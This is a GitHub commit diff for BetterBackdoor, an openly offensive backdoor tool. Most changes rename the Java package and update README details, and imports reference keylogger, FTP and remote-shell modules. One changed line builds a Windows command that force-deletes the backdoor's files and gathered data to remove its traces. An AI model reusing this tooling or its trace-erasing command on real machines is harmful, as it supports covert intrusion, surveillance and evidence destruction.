Skip to content

Commit

Permalink
Merge pull request #25 from thatcherclough/develop
Browse files Browse the repository at this point in the history
Updated documentation and changed package name
  • Loading branch information
thatcherclough authored Jul 22, 2020
2 parents 8642f71 + 4c2f7d3 commit cde6b2f
Show file tree
Hide file tree
Showing 12 changed files with 30 additions and 30 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is
## Installation
```
# clone BetterBackdoor
git clone https://github.com/ThatcherDev/BetterBackdoor.git
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
Expand All @@ -81,4 +81,4 @@ java -jar betterbackdoor.jar

## License
- [MIT](https://choosealicense.com/licenses/mit/)
- Copyright 2020 © ThatcherDev.
- Copyright 2020 © Thatcher Clough.
6 changes: 3 additions & 3 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
<version>2.1.8.RELEASE</version>
<relativePath />
</parent>
<groupId>com.thatcherdev</groupId>
<groupId>dev.thatcherclough</groupId>
<artifactId>BetterBackdoor</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>BetterBackdoor</name>
Expand Down Expand Up @@ -53,7 +53,7 @@
<phase>package</phase>
<configuration>
<finalName>betterbackdoor</finalName>
<mainClass>com.thatcherdev.betterbackdoor.BetterBackdoor</mainClass>
<mainClass>dev.thatcherclough.betterbackdoor.BetterBackdoor</mainClass>
<outputDirectory>${project.basedir}</outputDirectory>
</configuration>
<goals>
Expand All @@ -66,7 +66,7 @@
<phase>package</phase>
<configuration>
<finalName>run</finalName>
<mainClass>com.thatcherdev.betterbackdoor.backdoor.Backdoor</mainClass>
<mainClass>dev.thatcherclough.betterbackdoor.backdoor.Backdoor</mainClass>
</configuration>
<goals>
<goal>repackage</goal>
Expand Down
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
package com.thatcherdev.betterbackdoor;
package dev.thatcherclough.betterbackdoor;

import java.io.File;
import java.nio.file.Paths;
import java.util.Scanner;

import com.thatcherdev.betterbackdoor.backend.Utils;
import com.thatcherdev.betterbackdoor.shell.Shell;
import dev.thatcherclough.betterbackdoor.backend.Utils;
import dev.thatcherclough.betterbackdoor.shell.Shell;

import org.springframework.boot.autoconfigure.SpringBootApplication;

Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor;
package dev.thatcherclough.betterbackdoor;

import java.io.File;
import java.io.FileNotFoundException;
Expand All @@ -15,7 +15,7 @@
import java.util.HashMap;
import java.util.Map;

import com.thatcherdev.betterbackdoor.backend.Utils;
import dev.thatcherclough.betterbackdoor.backend.Utils;

import org.apache.commons.io.FileUtils;

Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backdoor;
package dev.thatcherclough.betterbackdoor.backdoor;

import java.io.*;
import java.net.Socket;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backdoor;
package dev.thatcherclough.betterbackdoor.backdoor;

import java.awt.Rectangle;
import java.awt.Robot;
Expand All @@ -13,10 +13,10 @@

import javax.imageio.ImageIO;

import com.thatcherdev.betterbackdoor.backend.DuckyScripts;
import com.thatcherdev.betterbackdoor.backend.FTP;
import com.thatcherdev.betterbackdoor.backend.KeyLogger;
import com.thatcherdev.betterbackdoor.backend.Utils;
import dev.thatcherclough.betterbackdoor.backend.DuckyScripts;
import dev.thatcherclough.betterbackdoor.backend.FTP;
import dev.thatcherclough.betterbackdoor.backend.KeyLogger;
import dev.thatcherclough.betterbackdoor.backend.Utils;

import org.apache.commons.io.FileUtils;

Expand Down Expand Up @@ -229,7 +229,7 @@ else if (command.startsWith("unzip"))
}
else if (command.equals("remove"))
try {
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat && rd /s /q "
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && cd "+System.getProperty("user.dir")+" && del /f /q run.jar run.bat && rd /s /q "
+ Backdoor.gatheredDir + " jre");
System.exit(0);
} catch (Exception e) {
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backend;
package dev.thatcherclough.betterbackdoor.backend;

import java.awt.Robot;
import java.awt.event.KeyEvent;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backend;
package dev.thatcherclough.betterbackdoor.backend;

import java.io.File;
import java.io.IOException;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backend;
package dev.thatcherclough.betterbackdoor.backend;

import java.io.BufferedWriter;
import java.io.File;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package com.thatcherdev.betterbackdoor.backend;
package dev.thatcherclough.betterbackdoor.backend;

import java.io.BufferedReader;
import java.io.File;
Expand All @@ -21,7 +21,7 @@
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;

import com.thatcherdev.betterbackdoor.backdoor.Backdoor;
import dev.thatcherclough.betterbackdoor.backdoor.Backdoor;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
package com.thatcherdev.betterbackdoor.shell;
package dev.thatcherclough.betterbackdoor.shell;

import java.io.File;
import java.io.IOException;

import com.thatcherdev.betterbackdoor.BetterBackdoor;
import com.thatcherdev.betterbackdoor.backend.FTP;
import com.thatcherdev.betterbackdoor.backend.Utils;
import dev.thatcherclough.betterbackdoor.BetterBackdoor;
import dev.thatcherclough.betterbackdoor.backend.FTP;
import dev.thatcherclough.betterbackdoor.backend.Utils;

import org.apache.commons.io.FileUtils;

Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
package com.thatcherdev.betterbackdoor.shell;
package dev.thatcherclough.betterbackdoor.shell;

import com.thatcherdev.betterbackdoor.BetterBackdoor;
import dev.thatcherclough.betterbackdoor.BetterBackdoor;

import java.io.File;
import java.io.ObjectInputStream;
Expand All @@ -22,7 +22,7 @@ public class Shell {
* Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find
* all possible clients and prompts user to select client to connect to if their are multiple clients.
* Once client has connected, starts an infinite loop that gets command {@code command} from
* user and handles it with {@link com.thatcherdev.betterbackdoor.shell.HandleCommand#handle}.
* user and handles it with {@link HandleCommand#handle}.
*/
public static void start() {
System.out.println("Searching for clients...\n");
Expand Down Expand Up @@ -92,7 +92,7 @@ public Connector(ServerSocket serverSocket) {

/**
* Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to
* {@link com.thatcherdev.betterbackdoor.shell.Shell#connectedMachines}.
* {@link Shell#connectedMachines}.
*/
public void run() {
while (true) {
Expand Down

0 comments on commit cde6b2f

Please sign in to comment.